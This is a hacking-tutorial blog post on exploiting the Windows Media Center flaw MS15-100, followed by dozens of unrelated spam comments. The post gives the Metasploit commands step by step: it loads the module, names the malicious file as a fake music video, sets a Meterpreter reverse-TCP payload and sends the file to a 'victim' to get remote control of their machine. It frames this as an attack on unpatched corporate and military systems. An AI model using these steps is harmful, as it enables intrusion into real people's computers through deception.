Select Page

How to Hack Windows Vista, 7, & 8 with the New Media Center Exploit

How to Hack Windows Vista, 7, & 8 with the New Media Center Exploit

Welcome back, my tenderfoot hackers!

Recently, Microsoft released a new patch (September 8, 2015) to close another vulnerability in their Windows Vista, 7, 8, and 8.1 operating systems. The vulnerability in question (MS15-100) enabled an attacker to gain remote access to any of these systems using a well-crafted Media Center link (MCL) file.

As hackers, we need to take a multipronged approach to gaining access to a system. Gone are the days of MS08-067 that would basically allow you to remotely take control of any Windows XP, 2003, or 2008 system. Now we have to be more crafty to find a way to gain access to the system.

The Adobe flash exploits have been, and continue to be, excellent gateways into Windows systems—if we can get the user to click on a URL link. Many applications have vulnerabilities, but before attacking those we need to know that they are on the system. That’s why reconnaissance is so critical

This hack is targeted to the Media Center on every Windows Vista, 7, 8, and 8.1 system. That makes it ubiquitous, but we still need to send the the victim an .mcl link to gain access to their system. Metasploit recently added an exploit to accomplish this task and that is what we will be using here (another exploit that accomplishes the same thing without the Metasploit framework does exist in the Exploit Database).

Microsoft Security Bulletin MS15-100 – Important

Here is what Microsoft said about this vulnerability (MS15-100) in their Microsoft Security Bulletin on TechNet:

Although the vulnerability has been patched, many systems don’t have automatic patching for a number of reasons, especially within corporate, large institution, and military installations.

MUST READ:  How to Hack Smartphones (Creating a Smartphone Pentesting Lab)

Just a warning. This hack is not for the newbie. I requires significant knowledge of both Linux and Metasploit to work.

Step 1Fire Up Kali

Our first step, of course, is to fire up Kali. This exploit requires that you have Ruby 2.1 on your Kali system, so if you are using Kali 1.1 or earlier, you will need to upgrade your Ruby. Kali 2.0 has the upgraded Ruby, so there’s no need to upgrade.

Step 2Go to Exploit-DB

Next, let’s go to the Exploit-DB. Under the Remote Code Execution Exploits section, we can find the exploit under its Microsoft designation, MS15-100.

  • Don’t Miss: How to Find Exploits Using the Exploit Database in Kali

When we select this exploit, it brings up the Metasploit code that we must add to our Metasploit framework. Copy and paste it to a text file in Kali.

Step 3Add New Module to Metasploit

Earlier this year, I wrote a tutorial on how to install a new module in Metasploit, so please refer to that if you need more help on this subject. You will need to add this module to your Metasploit framework before we can proceed. Name it ms15_100_mcl.rb. It may be that by the time you read this article, Rapid7 will have added this module to the framework and you won’t need to add the module, but time is critical here.

Step 4Start Metasploit & Search for New Module

Once you have added the module to Metasploit, start (or restart) Metasploit and search for the module to make certain it is available to you.

MUST READ:  Increase Wifi Signal Strength

msf > search ms15_100

If you find it, we are ready to roll!

Step 5Load New Module

We now need to load the module:

msf > use exploit/windows/fileformat/ms15_100_mcl

This loads this exploit into memory.

Step 6Info

Now that we have loaded the module, let’s type info to see what requirements this module needs.

msf > info

As you can see, we need to provide this module both the FILENAME and FILE_NAME. One is the .mcl file (FILENAME) and the other is the malicious file (FILE_NAME) we will load on to the victim’s system.

Step 7Set Options

As you can see in the screenshot above, this module will require that we set the name of the .mcl file (FILENAME) and the name of malicious payload (FILE_NAME). In an attempt to entice the victim to open my .mcl link, I’ll call it best_music_video_ever.mcl.

msf > set FILENAME best_music_video_ever.mcl

msf > set FILE_NAME best_video.exe

We also need to set a payload. In this case, I will use the Windows Meterpreter.

msf > set PAYLOAD windows/meterpreter/reverse_tcp

Finally, we just type exploit.

msf > exploit

Metasploit saved the file at /root/msf4/local/best_music_video_ever.mcl. That is the file we need to get to the victim!

Step 8Send the MCL File to the Victim

Metasploit has now created our .mcl file and opened a share on the network. We now need to send this file, one way or another, to the victim and get them to open it.

Note in the screenshot above that the victim’s Windows 7 system has the MCL file, best_music_video_ever.mcl on their desktop.

MUST READ:  Hack like a Pro: How to Find the Exact Location of Any IP Address

Step 9Take Control of the System

When the victim clicks on the .mcl link to watch the “Best Music Video Ever,” it will connect back to our Kali system opening a Meterpreter session. In my case, the session did not automatically open in Metasploit, but when I typed:

msf > sessions -l

I received this response showing me that a session had been opened on the victim machine. Success!

Now that I have a Meterpreter session, I can do just about anything on this system within the privileges I came in on. Since this exploit comes in with the privileges of the user, I will be limited to the privileges of the user who clicked on the .mcl file. Obviously, if we can get an administrator to click on this file, we will come in with their privileges, which would be much more powerful.

Keep coming back, my tenderfoot hackers, as we explore the most valuable skill set on the planet—hacking!

About The Author

He is the brain behind He started this platform as a one man army to bring news from the dark side or call it the hidden side of the Internet. He is a security researcher with an interest in cyber attacks, politics, and sport.


  1. With six you happen to be sure to find an exclusive or public course to match your game – try Pendleton Greens, Emerald Golf Course or Oceanside
    Municipal Golf Course.

  2. Take a little time to function the oil deep into your skin, rubbing and
    kicking back the muscular tissues under your skin as you go.
    Work gradually and also carefully … take a breath deep,
    loosen up and also enjoy this deep self-care therapy.

  3. What i don’t understood is in fact how you’re no longer actually a lot more neatly-appreciated than you may be now. You’re very intelligent. You understand thus significantly in the case of this matter, produced me in my opinion imagine it from so many numerous angles. Its like men and women are not interested unless it’s one thing to accomplish with Girl gaga! Your individual stuffs great. All the time handle it up!

  4. We provide a getaway from the chaos of Canal Park to submerse on your own in the tranquil conveniences
    and also solace of house at the A G Thomson House Bed and Breakfast..

  5. We recommend calling Isabella Bed And Breakfast to position your appointment in order to safeguard your repayment details.

  6. Guests lodging at the Harvest Moon Bed and Breakfast could pick from a
    range of lodgings suited for people, couples, households
    and team keeps.

  7. Whether it is having fresh-cut flowers waiting in a space, surprising a participant of your event with a birthday
    cake or arranging to have breakfast in bed, the Harvest Moon B and b can fit most requests.

  8. Harvest Moon Bed & Morning meal is not just an overnight keep B and also B, but a classy
    and also roomy gathering place for little wedding events, business meetings and get-togethers.

  9. This study note highlights the effectiveness of the hedonic price method in this sector by assessing desire to pay for certain qualities of bed and breakfast holiday accommodations.

  10. Our traditional Scottish morning meal is served
    in our cosy sunroom with all round sights of surroundings and wild animals.

  11. The vision of the B.S.A. is to prepare every eligible youth in The U.S.A.
    to come to be an accountable, participating citizen.

  12. The Pink Bed and breakfast lies right by the harbour in Portree as well as provides B and b accommodation.

  13. Whether right here for organisation or pleasure, the Alexander
    Manor B and b brings you a passionate morning meal as well as a relaxed night, enabling
    you to invite the wealth and also discover of social and entertainment tasks our lovely river community deals.

  14. This research note highlights the usefulness of the hedonic cost technique in this industry by reviewing readiness to pay for particular attributes of b
    and b holiday accommodations.

  15. Typically the owners themselves prepare the morning meal
    as well as clean the areas, but some b and b work with team
    for cleaning or food preparation.

  16. Or possibly a scrumptious basket of homemade bread (gluten free
    if you desire,) cheeses and even more.

  17. After a comfortable nights rest, guests can take pleasure in a fresh cooked
    breakfast offered in positive dining room.

  18. Our Duluth b and b is preferably situated in the Historic Congdon (Glensheen)
    Estate Area, just minutes from downtown Duluth, Canal Park,
    the Glensheen Mansion, and also a wide variety of impressive dining establishments and also
    stores in our Lake Superior Port City.

  19. Key needs that should be met for individuals remaining at
    b and b design lodging include: pampering and customised
    service in an appealing place in an appealing house, opposed to more ‘conventional’ hotelrooms.

  20. The exhibit features 4 sections: 1) Streaming Sound of Ink – Chinese Traditional Ink Painting;
    2) The Pearl of Silk Road – Dunhuang Mural Painting; 3) The Brilliance Series – Elegance
    Li Wang’s Multimedia Painting; and 4) Art as well as Life artworks – Calligraphy, Paper-cut, Nano fine Art as well as movie art,

  21. Our Duluth bed and breakfast is ideally located in the Historical Congdon (Glensheen)
    Estate Area, simply minutes from midtown Duluth, Canal Park, the Glensheen Manor, and a multitude of fantastic
    dining establishments and shops in our Lake Superior Port City.

  22. Your search for a b and b in Duluth ends at the A G Thomson House Duluth Bed and Breakfast!

  23. Whether it is having fresh-cut flowers waiting in a space, unusual
    a member of your celebration with a birthday celebration cake or preparing to have morning meal in bed, the Harvest Moon Bed and Breakfast could fit
    most demands.

  24. Oceanside Pier which will be located in about the heart of the
    stretch is not about 3 miles short and breaks up
    the seaside area.

  25. They will offer all Discover China participants wonderful understanding right into neighborhood trainee life and
    student society.

  26. Initially, you should comprehend that there are essential distinctions between the
    Net in China as well as the Web in the majority of the world.

  27. Discover Chinese history through the eyes of Western visitors, missionaries as well as finders,
    with this cost-free online training course.

  28. Work in China: Conflicts over supposed misrepresentation of working
    and living problems for Australians operating in China,
    especially those educating English, occur regularly.

  29. KEEP IN MIND: on Feb 3, 2015, Wells Gray Tours included an exchange surcharge for all vacationers.

  30. In 2003 Gavin Menzies used it as evidence for his book 1421: the year China uncovered the globe”.

  31. Also note that a few other Western brands that are taken into consideration informal in the West might
    take on an extra formal ambience in China.

  32. This very first publication covers level 1 of the HSK Chinese examination, so it could be utilized for test preparation as well if required.

  33. For those that want even more information at the price of speed (no 3G access), China Mobile Hong Kong actually charges much less
    compared to China Mobile correct at HK$ 148 for 2.5 GB data compared with ¥ 200 for 2GB, but bills the very same higher voice rates
    as China Unicom HK. They now provide a SIM with unfiltered 4G access at higher prices-HK$ 48 day-to-day (1GB at complete speed, then strangled to no much less compared
    to 128k), HK$ 118/1GB monthly or HK$ 198/2GB regular monthly.

  34. Prevent photographing, videoing or taking part in protests or various other acts which might be viewed as provocative by authorities in Tibet, Xinjiang or elsewhere in China.

  35. The initial part of the journey was with Uniworld (unsatisfactory) and also three weeks were an exclusive tour
    arranged with Discover China Tours.

  36. Numerous Western-owned supermarket chains are widespread in China–
    Wal-mart (沃尔玛 Wòěrmǎ), City (麦德龙 Màidélóng), TESCO, and
    also Carrefour (家乐福 Jiālèfú).

  37. A bus runs in between Kashgar (China) and Sust (Pakistan) throughout the Kunerjab pass.

  38. I take added courses but occasionally I believe this book is so great that I might not even require the courses and
    just make use of the book.

  39. Obviously, at high levels of profession irritants happen, and the EU stays
    firm on the demand for China to comply with its worldwide dedications.

  40. Below is a top 10 listing of some of those most important to travellers in landmass China.

  41. The phone can be provided to your resort in China before your arrival and
    dropped off there at the end of your journey, or shipped to you in the US.
    When you rent out the phone, they will certainly supply you an access
    code for phoning call to your nation, which is less costly compared
    to acquiring a SIM card from a local supplier and dialing directly.

  42. Noise implies life, as well as China is rooted in a neighborhood
    based culture, so you may wish to bring earplugs for long
    bus or train trips!

  43. It’s not uncommon a non certified money exchanger on China borders to alter
    counterfeits to visitors.

  44. China has become one of the globe’s fastest-growing post-industrial economies since reforms were put into location in 1978 by Deng Xiaoping and also his fans,
    and its fast market growth since then has actually resulted in competition with the USA as well as

  45. Ms. Buck won the Nobel Prize in Literature in 1938 for the body of her work about China.

  46. Applications for Tibet Entrance Permits could just be lodged with
    specialised travel representatives in China and traveling could only be embarked
    on via organised excursions.

  47. Quarantine needs differ throughout the provinces and towns in China.

  48. I could not refrain from commenting. Exceptionally well

  49. A method of the profession would certainly be to spray an extremely fine mist of water and detergent service
    (30-1) over the carpeting initially.

  50. This is the solitary most beneficial of our rug cleaning ideas that you have to not fail to
    remember as this can aid you stop your carpet from having excessive
    dust and also unappealing spots.

  51. So, if you feel that your carpets are messy, dirty or
    filthy, the best point to do is work with the best rug cleaner in Houston.

  52. The sort of carpeting fiber is simply not the one
    variable that is including the total toughness irregardless of carpet.

  53. We are a bunch of volunteers and starting a brand new scheme in our community.
    Your web site provided us with valuable information to
    work on. You’ve done an impressive process and our whole
    community will be grateful to you.

  54. This not just is a safe, simple and economical method to
    find tidy your rugs, it additionally assists professional carpet cleaners
    appropriately clean your whole carpetings.

  55. They can offer you a clue regarding how much time the
    carpeting needs to be dry, just how commonly you have to vacuum, as well as just what you could do to get rid of discolorations from carpeting future.

  56. ServiceMaster Clean as well as ServiceMaster Bring back solutions given by individually owned as well as run franchises or
    corporate-owned branches.

  57. We are also providing all types of services for Carpet cleansing Hong Kong/ Carpeting cleansing Hong Kong.

  58. With havin so much content do you ever run into any problems of plagorism or copyright infringement?
    My site has a lot of exclusive content I’ve either authored myself or outsourced
    but it looks like a lot of it is popping it up all over the web without my authorization.
    Do you know any solutions to help prevent content from being ripped off?
    I’d genuinely appreciate it.

  59. A trick of the trade would certainly be to spray an extremely great
    haze of water and also cleaning agent solution (30-1) over the rug initially.

  60. There is no heavy steam in any of the rug cleansing machines; it
    is the warm water they are referring to.

  61. Inconsistent to what most of the houses assume, working with a specialist for carpeting cleansing in Woodlands shows affordable.

  62. The response is couple of and also straightforward appealing facts are
    stated listed below which motivate you to take services from expert homerug cleaner/ specialist house carpeting cleaner Hong Kong like us.

  63. It’s constantly crucial to preserve these things by cleaning and refreshing them on a regular basis.

  64. In sheer climate, moisture often gets tracked into the house and also could sink
    deep in the rug fibers otherwise dried and also vacuumed right away.

  65. Several of the carpets shades are not quick at some point as a
    result of flooding in your home, water leak from the
    dehumidifier leakage from any type of water pipe in your house rug could
    shed its color.

  66. Great post. I was checking constantly this bllog annd I am impressed!
    Extremely helpful ino specially the last paet 🙂 I care
    for such infrmation much. I was seeking this certain information for
    a long time. Thank you and good luck.

  67. Expert carpeting cleaning services already understand how to handle different carpet types,
    so cleaning up carpets will certainly no
    more be a problem, plus you are ensured to have your carpetings looking comparable to

  68. Normal cleansing will not just improve your home’s look, but it will get rid of germs and irritants,
    boost your house’s indoor air high quality and prolong the
    life of your carpeting.

  69. Good day! I could have sworn I’ve been to this blog before but after browsing through a few of the articles I
    realized it’s new to me. Anyways, I’m definitely delighted I stumbled upon it and
    I’ll be bookmarking it and checking back often!

  70. Heya i’m for the first time here. I came across this board and I find
    It really useful & it helped me out much. I hope to give something back
    and aid others like you aided me.

  71. Great blog here! Also your web site loads up fast! What host are you
    using? Can I get your affiliate link to your host?
    I wish my web site loaded up as quickly as yours lol

  72. That being said there are many occasions where a black
    dress shirt can make the perfect statement and even help you stand out and look smart.
    Just make sure that you create a symphony of color.
    The little black dress will take you everywhere with understated
    elegance and is so easy to take from day to night with ease.
    The strips are then sewn together at the ends and then braided together.
    Do not discounted its benefits and the lessen and ease it will give your life.

    Look for just one colour within the pattern of the outfit and use this as the chosen colour of the jewellery.

  73. Take a look on the listing of the three simple signifies to
    earn cash onlinbe withh out start up price.


Leave a reply

Your email address will not be published. Required fields are marked *

Sign up for premium Hacking Tutorials


Your ad can be here. Contact us: [email protected]


For more Premium Tutorials LIke